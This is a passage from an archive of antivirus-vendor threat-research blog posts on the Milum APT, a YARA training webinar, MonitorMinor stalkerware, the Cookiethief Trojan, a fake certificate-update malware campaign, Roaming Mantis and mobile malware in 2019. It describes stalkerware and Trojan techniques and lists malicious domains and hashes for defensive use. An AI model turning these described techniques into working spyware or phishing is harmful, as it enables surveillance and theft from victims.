To date, we don’t have any data regarding Milum’s spreading mechanism. A campaign that is, apparently, exclusively targeting entities in the Middle East (at least some of them are industrial-related) is something that automatically attracts the attention of any analyst. Any similarities should be considered weak in terms of attribution, and may simply be techniques copied from previous well-known cases. Indeed, this “learning from more experienced attackers” cycle has been adopted by some interesting new actors in recent years.

We should also be cautious regarding the true targeting of this new set of activities, as it is probably too soon to jump to conclusions. The targeted nature seems to be clear, but the targeting itself might be limited by our own visibility. The malware is not exclusively designed against any kind of victim in particular and might be reused in other operations.

Indicators of compromise

Files MD5
Original file names are Milum46_Win32.exe; on the target side they exist as system32.exe


2020. március 18.

Hunting APTs with YARA

For the past few years, we have been spreading our knowledge and experience of using YARA, often called a pattern matching swiss knife for malware researchers (and everyone else). Most of the time, this took the form of the Kaspersky training course titled, “Hunting APTs with YARA Like a GReAT Ninja”. The first YARA training session of that kind took place in February 2016, on the beautiful islands of Tenerife. We have had hundreds of participants attend sessions in over a dozen countries since then.

Our next YARA training session was scheduled to take place in Barcelona, during SAS 2020, however, the global situation and the spread of the novel 2019 coronavirus disease, aka COVID-19, forced us to postpone both the conference and the training.

Meanwhile, we have been receiving a lot of requests to make our YARA hands-on training available to more people. We are working on this and we should soon be able to provide it as an online training experience. Stay tuned for updates by following us on Twitter: @craiu @kaspersky.

With many people working from home and spending even more time online, it is also likely the number of threats and attacks will increase as well. Therefore, we have decided to share some of the YARA experience we have accumulated during recent years, in the hope that all of you will find it useful for keeping threats at bay.

So, if you have wondered how to leverage YARA better and how to achieve a new level of knowledge in APT detection, mitigation and response, it all boils down to a couple of secret ingredients and lots of work. While the work is up to you, we can help a bit with a preview of the secret ingredients.

Long story short:

When: March 31, 14:00 GMT
Where: BrightTalk – https://kas.pr/z2o2
Who: Security researchers and incident response personnel, malware analysts, security engineers, network security analysts, APT hunters and IT security staff

During the webinar, we will demonstrate examples of real-world hunting rules we have developed internally at GReAT. For instance, these allowed us to find zero-days in-the-wild, financial APT tools, malware targeting crypto-investors, or APT tools that sabotage and tag SSL traffic.

For researchers, knowledge of YARA opens up several interesting opportunities:

  • First of all, this can be a great starting point for a carrier in threat intelligence.
  • It can help you make your day-to-day work more efficient.
  • You can start hunting for APT samples on platforms such as VirusTotal. All major APTs’ tools have been uploaded on VirusTotal at some point in time; one just needs knowledge and some luck to find those needles.
  • You can start hunting for APTs on your office/home computers, which might bring some interesting, and sometimes, surprising, results.

For organizations, this webinar will be useful if they commonly deal with problems, such as:

  • Managing multiple YARA rulesets from various sources; understanding which rules are good enough for detection, which ones are good for hunting and which ones should be avoided
  • Testing for false positives
  • Using YARA for incident response
  • Enhancing your SOC
  • How to keep calm and start using YARA with KLara.

Last but not least, if you want to share feedback or if you have #yara questions that you would like answered at the webinar, please feel free to drop us some comments on Twitter. See you on March 31!

2020. március 16.

MonitorMinor: vicious stalkerware

The other day, our Android traps ensnared an interesting specimen of stalkerware — commercial software that is usually used to secretly monitor family members or colleagues. On closer inspection, we found that this app outstrips all existing software of its class in terms of functionality. Let’s take a look one step at a time.

Modern stalkerware

What is the usual functionality of a stalkerware? The most basic thing is to transmit the victim’s current geolocation. There are many such “stalkers”, since various special web resources are used to display coordinates, and they only contain a few lines of code.

Often, their creators use geofencing technology, whereby a notification about the victim’s movements is sent only if they go beyond (or enter) a particular area. In some cases, functions to intercept SMS and call data (spyware able to log them is much less common) are added to the geolocation transmission.

But today, SMS are used mainly for receiving one-time passwords and not much else — their niche has been captured almost entirely by messengers, which these days even facilitate business negotiations. Moreover, they claim to be an alternative to “traditional” voice communication. So any software with tracking/spying functionality worth its salt must be able to intercept data from messengers. The sample we found (assigned the verdict Monitor.AndroidOS.MonitorMinor.c) is a rare piece of stalkerware that can do this.

MonitorMinor features

In a “clean” Android operating system, direct communication between apps is prevented by the sandbox, so stalkerware cannot simply turn up and gain access to, say, WhatsApp messages. This access model is called DAC (Discretionary Access Control). When an app is installed in the system, a new account and app directory are created, the latter being accessible only to this account. For example, WhatsApp stores the user’s chat history in the file /data/data/com.whatsapp/databases/msgstore.db, which only the user and WhatsApp itself have access to. Other messengers work in a similar way.

The situation changes if a SuperUser-type app (SU utility) is installed, which grants root access to the system. Exactly how they get on the device — installed at the factory, by a user, or even by malware — is not so important. The main point is that they cause one of the system’s key security mechanisms to cease to exist (in fact, all security systems cease to exist, but it is DAC that we are interested in right now).

It is the presence of this utility that the creators of MonitorMinor are counting on. By escalating privileges (running the SU utility), it gains full access to data in the following apps:

  • LINE: Free Calls & Messages
  • Gmail
  • Zalo – Video Call
  • Instagram
  • Facebook
  • Kik
  • Hangouts
  • Viber
  • Hike News & Content
  • Skype
  • Snapchat
  • JusTalk

In other words, all the most popular modern communication tools.

Stealing the device unlock code

MonitorMinor’s functionality is not limited to intercepting data from social networking apps and messengers: using root privileges, it extracts the file /data/system/gesture.key from the device, which contains the hash sum for the screen unlock pattern or the password. This lets the MonitorMinor operator unlock the device, when it’s nearby or when operator will have physical access to device next time. This is the first time we have registered such a function in all our experience of monitoring mobile platform threats.


When MonitorMinor acquires root access, it remounts the system partition from read-only to read/write mode, then copies itself to it, deletes itself from the user partition, and remounts it back to read-only mode. After this “castling” move, the stalkerware cannot be removed using regular OS tools. Sure, the option to escalate privileges is not available on all devices, and without root one might assume that the software would be less effective. But not if it’s MonitorMinor.

MonitorMinor features without root

Android is a very user-friendly operating system. It is especially friendly to users with disabilities: with the Accessibility Services API, the phone can read aloud incoming messages and any other text in app windows. What’s more, with the help of Accessibility Services, it is possible to obtain in real time the structure of the app window currently displayed on the smartphone screen: input fields, buttons, their names, etc.

It is this API that the stalkerware uses to intercept events in the above-listed apps. Put simply, even without root, MonitorMinor is able to operate effectively on all devices with Accessibility Services (which means most of them).

WhatsApp chat intercepted using Accessibility Services

A keylogger function is also implemented in the stalkerware through this same API. That is, MonitorMinor’s reach is not limited to social networks and messengers: everything entered by the victim is automatically sent to the MonitorMinor servers. The app also monitors the clipboard and forwards the contents. The stalkerware also allows its owner to:

  • Control the device using SMS commands
  • View real-time video from the device’s cameras
  • Record sound from the device’s microphone
  • View browsing history in Chrome
  • View usage statistics for certain apps
  • View the contents of the device’s internal storage
  • View the contacts list
  • View the system log

Fragment of an operator web interface demonstrating MonitorMinor capabilities


According to KSN statistics, India currently has the largest share of installations of this stalkerware (14.71%). In addition, a Gmail account with an Indian name is stitched into the body of MonitorMinor, which hints at its country of origin. That said, we also discovered control panels in Turkish and English.

The second country in terms of usage is Mexico (11.76%), followed by Germany, Saudi Arabia, and the UK (5.88%), separated by only a few thousandths of one percent.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Map of users attacked by MonitorMinor (all attacks), November – December 2019


MonitorMinor is superior to other stalkerware in many aspects. It implements all kinds of tracking features, some of which are unique, and is almost impossible to detect on the victim’s device. If the device has root access, its operator has even more options available. For example, they can retrospectively view what the victim has been doing on social networks.

Note too that the Monitor.AndroidOS.MonitorMinor.c is obfuscated, which means that its creators are aware of the existence of anti-stalkerware tools and try to counter them.



2020. március 12.

Cookiethief: a cookie-stealing Trojan for Android

We recently discovered a new strain of Android malware. The Trojan (detected as: Trojan-Spy.AndroidOS.Cookiethief) turned out to be quite simple. Its main task was to acquire root rights on the victim device, and transfer cookies used by the browser and Facebook app to the cybercriminals’ server. The exact means by which the Trojan was able to infect certain Android devices is not clear; however, it was not due to a vulnerability in the Facebook application or browser itself.

How can stealing cookies be dangerous? Besides various settings, web services use them to store on the device a unique session ID that can identify the user without a password and login. This way, a cybercriminal armed with a cookie can pass himself off as the unsuspecting victim and use the latter’s account for personal gain.

Package name of the Cookiethief malware — com.lob.roblox, which is similar to that of the Roblox Android gaming client (com.roblox.client), but has nothing in common with Roblox.

Malicious features of Trojan-Spy.AndroidOS.Cookiethief

To execute superuser commands, the malware connects to a backdoor installed on the same smartphone…

…and passes it a shell command for execution.

The backdoor Bood, located at the path /system/bin/.bood, launches the local server…

…and executes commands received from Cookiethief.

On the C&C server we also found a page advertising services for distributing spam on social networks and messengers, so it was not difficult to guess the motive behind the cookie-theft operation.

But there’s still a hurdle for the spammers that prevents them from gaining instant access to accounts just like that. For example, if Facebook detects an atypical user activity, the account may be blocked.

However, during our analysis of Cookiethief, we uncovered another malicious app with a very similar coding style and the same C&C server. The second “product” from (presumably) the same developers (detected as: Trojan-Proxy.AndroidOS.Youzicheng) runs a proxy on the victim’s device.

We believe that Youzicheng is tasked with bypassing the security systems of the relevant messenger or social network using a proxy server on the victim’s device. As a result, cybercriminals’ request to the website will look like a request from a legitimate account and not arouse suspicion.

To implement this method, an executable file is first downloaded.

Then the proxy configuration is requested.

The downloaded file is then run.

By combining these two attacks, cybercriminals can gain complete control over the victim’s account and not raise a suspicion from Facebook. These threats are only just starting to spread, and the number of victims, according to our data, does not exceed 1000, but the figure is growing.

Through the C&C server addresses and encryption keys used, Cookiethief can be linked with such widespread Trojans as Sivu, Triada, and Ztorg. Usually, such malware is either planted in the device firmware before purchase, or it gets into system folders through vulnerabilities in the operating system and then can download various applications into the system. As a result, a persistent backdoor like Bood, along with the auxiliary programs Cookiethief and Youzicheng, can end up on the device.

We detect com.lob.roblox as HEUR:Trojan-Spy.AndroidOS.Cookiethief, org.rabbit as HEUR:Trojan-Proxy.AndroidOS.Youzicheng, and Bood as HEUR:Backdoor.AndroidOS.Bood.a.

IOCs Package name MD5 C&C com.lob.roblox 65a92baefd41eb8c1a9df6c266992730


c9c252362fd759742ea9766a769dbabe api-resource.youzicheng[.]net org.rabbit c907d74ace51cec7cb53b0c8720063e1 api-rssocks.youzicheng[.]net Bood 8312e7c626cac368f0bd79c9c8da5bd7 http://guard.yoboxtool[.]com:8099



2020. március 5.

Mokes and Buerak distributed under the guise of security certificates

The technique of distributing malware under the guise of legitimate software updates is not new. As a rule, cybercriminals invite potential victims to install a new version of a browser or Adobe Flash Player. However, we recently discovered a new approach to this well-known method: visitors to infected sites were informed that some kind of security certificate had expired. Unsurprisingly, the update on offer was malicious.

We detected the infection on variously themed websites — from a zoo to a store selling auto parts. The earliest infections found date back to January 16, 2020.

Attack pattern

This is what visitors of any of the hacked websites saw:

The alarming notification consists of an iframe — with contents loaded from the third-party resource ldfidfa[.]pw — overlaid on top of the original page. The URL bar still displays the legitimate address. This is what the malicious piece of code inserted into the original HTML page looks like:

From the screenshot it can be seen that the script parameters depend on the referrer, user_agent, and cookie values of the user. While the following fixed values are used as the user_agent_X and timestamp_X strings:

  • user_agent_X = Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
  • timestamp_X = 1579118411.0231 (01/15/2020 @ 8:00pm (UTC))

The code inserted by the cybercriminal loads the external malicious script ldfidfa[.]pw/jquery.js?&up= &ts= &r= &u= &c=

Malicious jquery.js script

The jquery.js script overlays an iframe that is exactly the same size as the page. The iframe content is loaded from the address https[:]//ldfidfa[.]pw//chrome.html. As a result, instead of the original page, the user sees a seemingly genuine banner urgently prompting to install a certificate update.

Clicking the Install (Recommended) button on the banner initiates the download of the file Certificate_Update_v02.2020.exe, which we detect as Exploit.Win32.ShellCode.gen. Analysis of the file showed it to be Trojan-Downloader.Win32.Buerak, packed using Nullsoft Scriptable Install System. It is not the only malware distributed by the attackers. For example, Backdoor.Win32.Mokes was spread via the same campaign earlier in January.


B3290148681F8218ECB80CA430F9FDBA (Certificate_Update_v02.2020.exe)



kkjjhhdff[.]site (47.245.30[.]255)

2020. február 27.

Roaming Mantis, part V

Kaspersky has continued to track the Roaming Mantis campaign. The group’s attack methods have improved and new targets continuously added in order to steal more funds. The attackers’ focus has also shifted to techniques that avoid tracking and research: whitelist for distribution, analysis environment detection and so on. We’ve also observed new malware families: Fakecop (also known as SpyAgent by McAfee) and Wroba.j (also known as Funkybot by Fortinet).

Distribution of Wroba.g via SMiShing with impersonated brands

In 2018, the group added a distribution method for Wroba.g (aliases: Moqhao and XLoader), in addition to the original method of DNS hijacking. It was SMiShing using a spoofed delivery notice from a logistics company. In 2019, we confirmed another new method where a downloaded malicious APK file has an icon that impersonates a major courier company brand. The spoofed brand icon is customized for the country it targets, for example, Sagawa Express for Japan; Yamato Transport and FedEx for Taiwan; CJ Logistics for South Korea and Econt Express for Russia.

Examples of SMiShing with Android malware icons impersonating brands

In February 2020, the attacker modified a SMiShing message from a spoofed absence notification to “delivering free masks for the coronavirus issue” in Japan, according to a warning by Japan Cybercrime Control Center (JC3). This once again shows that criminals always make use of hot topics in their activities.

Whitelist feature of Wroba.g landing page for Korea only

The Roaming Mantis actor also employed a new feature in their Wroba.g landing page – currently only on the Korean page. It’s a whitelist feature to evade security researchers. When a user visits the landing page, they have to enter their phone number for confirmation. If the phone number is on the whitelist, the landing page distributes a malicious app.apk:

The fake CJ Logistics landing page includes a whitelist

The actor has a habit of trying out their new methods in Korean first. It means the method described above may be applied later on landing pages in other languages as well. If that happens, it would make it almost impossible for researchers to obtain a sample, because it would require a specific phone number in the actor’s whitelist database.

Multidex obfuscation trick in a loader module of Wroba.g

A single Dalvik Executable (DEX) has a 64K reference limit. As a workaround, a configuration of Mutidex allows the application to build and read multiple DEX files. In 2019, the actor used Multidex in an APK file to hide a malicious loader module as an obfuscation trick. Our analysis shows that it has been modified little by little:

Transition of obfuscation using Multidex

The classes${num}.dex marked with a red square is the actual malicious loader module. All the other DEX files are simply junk code. However, the encrypted payload of Wroba.g is still under the assets directory and can be decrypted by the simple python script described in our previous blogpost.

Wroba.g is targeting carrier billing and online banks in Japan

The actor has a strong financial motivation. They are targeting carrier billing and online bank accounts. They have implemented redirection to phishing sites to steal credentials in the decrypted payload of Wroba.g:

Hardcoded pkg name, URL of pinterest.com and pop-up message

When the malware detects a specific package of a Japanese online bank or specific mobile carriers on the infected device, it connects in the background to a hardcoded malicious account of pinterest.com to fetch a phishing site with an alert message. The message claims that it has blocked unauthorized access from a third party and asks the user to click on a button to confirm they want to proceed. If the user clicks the button, they will be redirected to a phishing site:

Redirecting to a phishing site via malicious account on pinterest.com

The targeted packages for online banks and mobile carriers correspond to the relevant accounts on pinterest.com that lead to phishing sites:

Pkgs or mobile carrier Accounts on pinterest.com Phishing site in Dec 2019 Phishing site in Jan 2020 jp.co.japannetbank.smtapp.balance nor********** jnb.jp-bankq[.]com N/A jp.co.jibunbank.jibunmain abi******** jibun.jp-bankq[.]com N/A jp.co.netbk.smartkey.SSNBSmartkey sin************* sbi.jp-bankq[.]com N/A jp.co.rakuten_bank.rakutenbank kel*************** rakuten.jp-bankq[.]com N/A jp.co.sevenbank.AppPassbook gh6****** seven.jp-bankq[.]com N/A jp.co.smbc.direct eme************* smbc.jp-bankq[.]com smbc.bk-securityo[.]com jp.japanpost.jp_bank.FIDOapp fel*************** jppost.jp-bankq[.]com N/A jp.mufg.bk.applisp.app sho************* mufg.jp-bankq[.]com N/A Docomo ami*********** nttdocomo-uh[.]com nttdocomo-xm[.]com au pos*********** au-ul[.]com au-xm[.]com Softbank ash************ epos-ua[.]com N/A

As can be seen in the table above, all the accounts have corresponding phishing sites as of December 2019 (data provided by @ninoseki on Twitter). These destination URLs are continuously changed by the attackers. In January 2020, only three of these accounts were enabled for some reason. However, as it’s easy for the criminals to modify the phishing page address, apps without corresponding phishing sites are also likely to be attacked again in the near future.

Wroba.j and Fakecop discovered in 2019

Roaming Mantis has been using Wroba.g and Wroba.f as its main Android malware. In April 2019, we observed two more malware families, Wroba.j and Fakecop. These two malware families have some similarities with the other families in terms of infrastructure, distribution channel, etc. We have created some slides, Roaming Mantis: A melting pot of Android bots in Botconf2019, showing the timeline, impersonated brands, malware features and money laundering method.

Based on our telemetry data, detection rates of both malicious programs were very low. We believe that this was a test by the attacker. However, the most alarming thing we discovered was the following SMS spamming function in Wroba.j:

Generating feedback for SMS spamming results

The function automatically creates a sophisticated list of phone numbers from the feedback for SMS spamming results. This malware also has another function that checks the International Mobile Subscriber Identifier (IMSI) to identify mobile carriers in Japan and add the phone number to a relevant spamming list.

Checking the IMSI of mobile carrier Docomo

According to the hardcoded IMSIs and strings shown below, the attacker seems to be targeting Docomo and Softbank mobile carriers.

IMSI of Docomo:

44001 4401 44058 44002 4402 4406 44003 4403 44087 44009 44049 44099

IMSI of Softbank:

44020 44021 44005 44101 Conclusion

The Roaming Mantis actor is strongly motivated by financial gain and is eager to evade tracking by researchers. It is now employing yet another method – whitelisting – to achieve this. This new method is currently only being applied for Korean pages, but it’s only a matter of time before it’s implemented for other languages.

The actor is still very active in using SMiShing for Android malware distribution. This is particularly alarming, because it means all infected mobile devices could form a botnet for malware delivery, SMiShing, and so on. ISPs, together with security companies, need to keep a close eye on the Roaming Mantis campaign to understand how to combat it.

Further reading

Further information about the Fakecop and Wroba.j families has also appeared in the following blogs published by McAfee and Fortinet respectively:

These blogposts provide some interesting updates on Roaming Mantis activities during 2019.

Example of md5 hashes for each APK

e6ae4277418323810505c28d2b6b3647 Wroba.g
939770e5a14129740dc57c440afbf558 Wroba.f
521312a8b5a76519f9237ec500afd534 Wroba.j
6d29caaa8b30cc8b454e74a75d33c902 Fakecop

2020. február 25.

Mobile malware evolution 2019

These statistics are based on detection verdicts of Kaspersky products received from users who consented to provide statistical data.

Figures of the year

In 2019, Kaspersky mobile products and technologies detected:

  • 3,503,952 malicious installation packages.
  • 69,777 new mobile banking Trojans.
  • 68,362 new mobile ransomware Trojans.
Trends of the year

In summing up 2019, two trends in particular stick out:

  • Attacks on users’ personal data became more frequent.
  • Detections of Trojans on the most popular application marketplaces became more frequent.

This report discusses each in more detail below, with examples and statistics.

Attacks on personal data: stalkerware

Over the past year, the number of attacks on the personal data of mobile device users increased by half: from 40,386 unique users in 2018 to 67,500 in 2019. This is not about classic spyware or Trojans, but so-called stalkerware.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Number of unique users attacked by stalkerware in 2018–2019 (download)

Stalkerware can be divided into two major categories:

  • Trackers.
  • Full-fledged tracking apps.

The creators of trackers generally focus on two main features: tracking victims’ coordinates and intercepting text messages. Until recently, many such apps, mostly free, were available on the official Google Play marketplace. After Google Play changed its policy in late 2018, most of them were removed from the store, and most developers pulled support for their products. However, such trackers can still be found on their developers’ and third-party sites.

If such an app gets onto a device, messages and data about the user’s location become accessible to third parties. These third parties are not necessarily only those tracking the user: the client-server interaction of some services ignores even the minimum security requirements, allowing anyone to gain access to the accumulated data.

The situation of full-fledged stalkerware is somewhat different: there are no such apps on Google Play, but they are actively supported by developers. These tend to be commercial solutions with extensive spying capabilities. They can harvest almost any data on a compromised device: photos (both entire archives and individual pictures, for example, taken at a certain location), phone calls, texts, location information, screen taps (keylogging), and so on.

Screenshot from the site of a stalkerware app developer showing the capabilities of the software

Many apps exploit root privileges to extract messaging history from protected storage in social networking and instant messaging applications. If it cannot gain the required access, the stalkerware can take screenshots, log screen taps and even extract the text of incoming and outgoing messages from the windows of popular services using the Accessibility feature. One example is the commercial spyware app Monitor Minor.

Screenshot from the site of a stalkerware app developer showing the software’s ability to intercept data from social networks and messengers

The developers of the commercial spyware FinSpy went one step further by adding a feature to intercept correspondence in secure messengers, such as Signal, Threema and others. To ensure interception, the app independently obtains root privileges by exploiting the vulnerability CVE-2016-5195, aka “Dirty Cow”. The expectation is that the victim is using an old device with an outdated operating system kernel in which the exploit can escalate privileges to root.

It is worth noting that the user base of messaging apps includes hundreds of millions. Classic calls and texts are being used less and less, and communication — be it text messages or voice/video calls — is gradually moving to instant messaging applications. Hence the rising interest in data stored in such apps.

Attacks on personal data: advertising apps

In 2019, we observed a significant increase in the number of adware threats, one purpose being to harvest personal data on mobile devices.

The statistics show that the number of users attacked by adware in 2019 is roughly unchanged from 2018.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Number of users attacked by adware in 2018 and 2019 (download)

At the same time, the number of detected adware installation packages almost doubled from 2018.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Number of detected adware installation packages in 2018 and 2019. (download)

These indicators typically correlate, but not in the case of adware. This can be explained by several factors:

  • Adware installation packages are generated automatically and spread literally everywhere, but for some reason do not reach the target audience. It is possible that they get detected immediately after being generated and cannot propagate further.
  • Often, such apps contain nothing useful — just an adware module; so the victim immediately deletes them, assuming that they allow removing themselves.

Nevertheless, it is the second successive year that adware has appeared in our Top 3 detected threats. KSN statistics confirm it to be one of the most common types of threats: four places in our Top 10 mobile threats by number of users attacked in 2019 are reserved for adware-class apps, with one member of the family, HiddenAd, taking the third.

Вердикт %* 1 DangerousObject.Multi.Generic 35,83 2 Trojan.AndroidOS.Boogr.gsh 8,30 3 AdWare.AndroidOS.HiddenAd.et 4,60 4 AdWare.AndroidOS.Agent.f 4,05 5 Trojan.AndroidOS.Hiddapp.ch 3,89 6 DangerousObject.AndroidOS.GenericML 3,85 7 AdWare.AndroidOS.HiddenAd.fc 3,73 8 Trojan.AndroidOS.Hiddapp.cr 2,49 9 AdWare.AndroidOS.MobiDash.ap 2,42 10 Trojan-Dropper.AndroidOS.Necro.n 1,84

*Share of all users attacked by this type of malware in the total number of users attacked.

In 2019, mobile adware developers not only generated tens of thousands of packages, but also technically enhanced their products, in particular through the addition of techniques to bypass operating system restrictions.

For example, Android imposes certain restrictions on background operation of applications for battery-saving reasons. This negatively impacts the operation of various threats, including adware apps that like to lurk in the background and wait for, say, a new banner to arrive from C&C. The introduction of such restrictions made it impossible for apps to show ads outside the context of their own window, thus starving most adware of oxygen.

The creators of the KeepMusic adware family found a smart workaround. To bypass the restrictions, their software does not request permissions like, for example, malware does. Instead, the program starts looping an MP3 file that plays silence. The operating system decides that the music player is running, and does not terminate the KeepMusic background process. As a result, the adware can request a banner from the server and display it any time.

Attacks on personal data: exploiting access to Accessibility

The year 2019 saw the appearance of the first specimen of mobile financial malware (Trojan-Banker.AndroidOS.Gustuff.a), featuring enhanced autonomy. Until then, two methods had been used to steal money from bank accounts:

  • Via SMS banking on the victim end. This is an autonomous theft technique that requires only information about the transfer recipient. This data the bot can either store in its body or receive as a command from C&C. The Trojan infects the device and sends a text with a transfer request to a special bank phone number. The bank then automatically transfers the funds to the recipient from the device owner’s account. Due to the increase in such theft, limits on mobile transfers have been tightened, so this attack vector has been relegated to backup.
  • By stealing online banking credentials. This has been the dominant method in recent years. Cybercriminals display a phishing window on the victim’s device that mimics the bank’s login page and reels in the victim’s credentials. In this case, the cybercriminals need to carry out the transaction themselves, using the app on their own mobile device or a browser. It is possible that the bank’s anti-fraud systems can detect the abnormal activity and block it, leaving the attackers empty-handed even if the victim’s device is infected.

In 2019, cybercriminals mastered a third method: stealing by manipulating banking apps. First, the victim is persuaded to run the app and sign in, for example, using a fake push notification supposedly from the bank. Tapping the notification does indeed open the banking app, which the attackers, using Accessibility, gain full control over, enabling them to fill out forms, tap buttons, etc. Moreover, the bot operator does not need to do anything, because the malware performs all actions required. Such transactions are trusted by banks, and the maximum transfer amount can exceed the limits of SMS banking by an order of magnitude. As a result, the cybercriminals can clean out the account in one go.

Stealing funds from bank accounts is just one malicious use of Accessibility. In effect, any malware with these permissions can control all on-screen processes, while any Android app is basically a visual representation of buttons, data entry forms, information display, and so on. Even if developers implement their own control elements, such as a slider that needs to be moved at a certain speed, this too can be done using Accessibility commands. Thus, cybercriminals have tremendous leeway to create what are perhaps the most dangerous classes of mobile malware: spyware, banking Trojans and ransomware Trojans.

The misuse of the Accessibility features poses a serious threat to users’ personal data. Where previously cybercriminals had to overlay phishing windows and request a bunch of permissions in order to steal personal information, now victims themselves output all necessary data to the screen or enter it in forms, where it can be easily gleaned. And if the malware needs more, it can open the Settings section by itself, tap a few buttons, and obtain the necessary permissions.

Mobile Trojans on popular marketplaces: Google Play

Slipping malware into the main Android app store delivers much better results than social engineering victims into installing apps from third-party sources. In addition, this approach enables attackers to:

  • Bypass SafetyNet, Android’s built-in antivirus protection. If a user downloads an app from Google Play, the likelihood that it will be installed without additional requests — for example, to disable the built-in protection under an imaginary pretext — is very high. The only thing that can protect the user from infection in that situation is a third-party security solution.
  • Overcome psychological barriers. Official app stores enjoy far greater trust than third-party “markets,” and act as store windows of sorts that can be used for distributing software much more efficiently.
  • Target victims without unnecessary spending. Google Play can be used to host fakes that visually mimic, say, popular banking apps. This was the distribution vector used in a spate of attacks on mobile users in Brazil: we detected numerous malicious programs on Google Play under the guise of mobile apps for Brazilian banks.

In addition to malicious doppelgangers, cybercriminals deployed several other tricks to maximize device infection rates:

  • The case of CamScanner showed that an app’s legitimate behavior can be supplemented with malicious functions by updating its code for handling advertising. This could be described as the most sophisticated attack vector, since its success depends on a large number of factors, including the user base of the host app, the developer’s trust in third-party advertising code and the type of malicious activity.
  • Another example demonstrates that attackers sometimes upload to Google Play fairly well-behaved apps from popular user categories. In this case, it was photo editors.
  • The most depressing case involves a Trojan from the Joker family, of which we have found many samples on Google Play, and still are. Deploying the tactic of mass posting, cybercriminals uploaded apps under all kinds of guises: from wallpaper-changing tools and security solutions to popular games. In some cases, the Trojan scored hundreds of thousands of downloads. No other attack vector can reach this kind of audience within such a short space of time.

The good news is that Google and the antivirus industry have teamed up to fight threats on the site. This approach should prevent most malware from penetrating the official Google app store.


In 2019, we discovered 3,503,952 mobile malicious installation packages, which is 1,817,190 less than in the previous year. We have not detected so few mobile threats since 2015.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Number of mobile malicious installation packages for Android in 2015–2019 (download)

For three consecutive years, we have seen an overall decline in the number of mobile threats distributed as installation packages. The picture largely depends on specific cybercriminal campaigns: some have become less active, others have completely ceased, and new players have yet to gain momentum.

The situation is similar with the number of attacks using mobile threats: whereas in 2018 we observed a total of 116.5 million attacks, in 2019 the figure was down to 80 million.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Number of attacks defeated by Kaspersky mobile solutions in 2018–2019 (download)

The figures were back to the year before, before the start of the Asacub banking Trojan epidemic.

Since the number of attacks correlates with the number of users attacked, we observed a similar picture for this indicator.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Number of users attacked by mobile malware in 2018–2019 (download)

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Geography of attacked users in 2019 (download)

Top 10 countries by share of users attacked by mobile malware:

Country* %** Iran 60.64 Pakistan 44.43 Bangladesh 43.17 Algeria 40.20 India 37.98 Indonesia 35.12 Nigeria 33.16 Tanzania 28.51 Saudi Arabia 27.94 Malaysia 27.36

*Excluded from the rankings are countries with fewer than 25,000 active users of Kaspersky mobile security solutions in the reporting period.
**Unique users attacked in the country as a percentage of all users of Kaspersky mobile security solutions in the country.

In 2019, Iran (60.64%) again topped the list for the third year in a row. The most common threats in that country come from adware and potentially unwanted software: Trojan.AndroidOS.Hiddapp.bn, AdWare.AndroidOS.Agent.fa, and RiskTool.AndroidOS.Dnotua.yfe.

Pakistan (44.43%) climbed from seventh to second place, mainly on the back of a rise in the number of users attacked by adware. The largest contribution was made by members of the AdWare.AndroidOS.HiddenAd family. A similar picture can be seen in Bangladesh (43.17%), whose share has grown due to the same adware families.

Types of mobile threats

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Distribution of new mobile threats by type in 2018 and 2019 (download)

